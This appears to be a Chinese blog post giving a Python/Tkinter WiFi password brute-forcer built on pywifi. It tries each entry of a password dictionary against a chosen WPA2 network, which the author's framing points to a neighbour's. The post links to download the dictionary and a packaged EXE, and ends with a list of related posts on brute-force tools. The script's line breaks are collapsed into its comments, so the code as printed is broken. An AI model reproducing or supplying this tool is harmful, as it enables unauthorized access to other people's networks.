自己家的网路实在是差劲的一批…

然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…

就开始了愉快的Python之旅,字典密码本和封装好的文件文末获取~~~

主要步骤

  1. 获取第一个无线网卡
  2. 断开断开所有的wifi
  3. 读取密码本
  4. 设置睡眠时间
from tkinter import *
from pywifi import const
import pywifi
import time# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间#测试连接
def wificonnect(str,wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status()==const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP#删除所有的wifi文件ifaces.remove_all_network_profiles()#设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./wifipwd.txt'file = open(path,'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr,wifiname)if bool:text.insert(END,'密码正确'+mystr)text.see(END)text.update()file.close()breakelse:text.insert(END,'密码错误'+mystr)text.see(END)text.update()except: continue# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry  = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
#  按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)# 显示窗口
root.mainloop()

字典文本链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

封装好的EXE文件

  • 软件截图如下:

EXE文件下载链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

总结

  • 我这边才开始学python没多久,纯属于Python学习,这个工具其实是非常鸡肋的一个工具,其实敲一下邻居家门,然后递上一支烟,就能解决~~

用Python写的WiFi暴力破解工具(字典),已封装!!相关推荐

  1. Python+Tkinter编写WIFI暴力破解客户端

    最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多 ...

  2. 用python编写一个简单的单线程wifi暴力破解工具!

    源代码 a.txt:密码文件 crack.py:wifi破解模块 main.py:主模块 scan.py:wifi扫描模块 scan.py PS:如有需要Python学习资料的小伙伴可以加点击下方链接 ...

  3. 【用python编写一个简单的单线程wifi暴力破解工具】

    源代码 a.txt:密码文件 crack.py:wifi破解模块 main.py:主模块 scan.py:wifi扫描模块 scan.py import pywifi import time# WiF ...

  4. python实现pdf转excel_使用python写的PDF转EXCEL工具,已打包exe

    1.转换 PDF中的表格 文件到 Microsoft Excel 文档 2.程序自动识别pdf中的表格 3.电子工程师用excel建原理图的库(orcad)会需要,特别是引脚多的原理图库,如FPGA等 ...

  5. 工具分享(1):FTP暴力破解工具 [Python多线程版]

    工具分享(1):FTP暴力破解工具 [Python多线程版] 参考:https://www.waitalone.cn/python-ftp-mult.html 在他的基础上加了这么一个代码:如果用户输 ...

  6. Hydra暴力破解工具的用法

    目录 Hydra 常见参数 破解SSH 破解FTP 破解HTTP 破解3389远程登录 Kali自带密码字典 dirb dirbuster fern-wifi metasploit wfuzz Hyd ...

  7. linux暴力破解工具

    对于 Linux 操作系统来说,一般通过 VNC.Teamviewer 和 SSH 等工具来进行远程管理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Wor ...

  8. Python黑科技:暴力破解你的密码

    Python黑科技:暴力破解你的密码 今天呢,给大家带来一个Python的暴力破解加密的压缩文件的方法~ (是不是压缩文件不重要). 另外你会不会Python也不重要 首先,我们得说一下,如何打开一个 ...

  9. [网络安全学习篇10]:扫描技术、暴力破解工具(千峰网络安全视频笔记 10 day)

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  10. 基于NMAP日志文件的暴力破解工具BruteSpray

    基于NMAP日志文件的暴力破解工具BruteSpray 使用NMAP的-sV选项进行扫描,可以识别目标主机的端口对应的服务.用户可以针对这些服务进行认证爆破.为了方便渗透测试人员使用,Kali Lin ...

最新文章

  1. https://www.threatminer.org/domain.php?q=blackschickens.xyz ——域名的信誉查询站点 还可以查IP...
  2. Web安全之XSS漏洞
  3. 回归理性 务实推进 迎接AI新时代 2018中国人工智能大会完美收官
  4. Matrix工作室纳新管理规章
  5. java跨库调用存储_存储库仅在第二个调用数据时发送回ViewModel
  6. python没有菜单栏怎么搞mac_Mac 下 sublime 怎么调出顶端菜单栏
  7. Java学习笔记11-1——Spring5
  8. SpringBoot集成logback彩色日志配置以及banner启动设置(炫酷到爆炸!)
  9. DotText源码学习——从配置文件Web.config入手(一)
  10. ASP.NET Core应用针对静态文件请求的处理[5]: DefaultFilesMiddleware中间件如何显示默认页面...
  11. SQL Server内联表值函数
  12. 2019年春季第七周 编程总结
  13. 注册Tomcat到Window Service服务
  14. 大学计算机课思维导图,快速记忆和理解大学计算机思维导图
  15. 计算机键盘pausebreak,键盘PauseBreak键作用
  16. 这样是不是就能把系统设计好??
  17. APP推广渠道分析:5种方法和2种思路
  18. Java源文件编译出错:类文件包含错误的类 请删除该文件或确保文件位于正确的类路径子目录中
  19. 记录一次pre环境OOM异常解决过程
  20. WireShark 不能正常解析 Radius 包,提示 Malformed Packet .

热门文章

  1. 怎么获取layer中的表单值_layui抓取表单数据
  2. smc数显压力表设定方法_日本SMC数显压力表中文说明书ISE40A-01-P-ML
  3. 富文本编辑器(UEditor)的使用
  4. SIGIR‘22 推荐系统论文之对比学习篇
  5. 【Java】编程思想汇总ing
  6. DelphiXe Ansistring使用注意事项
  7. php 安卓百度地图,Android百度地图开发总结
  8. 分享几个java小程序代码
  9. android q beta3更新功能,Android Q Beta 3更新内容:拥抱5G和可折叠设备
  10. SQL Server从入门到精通(三)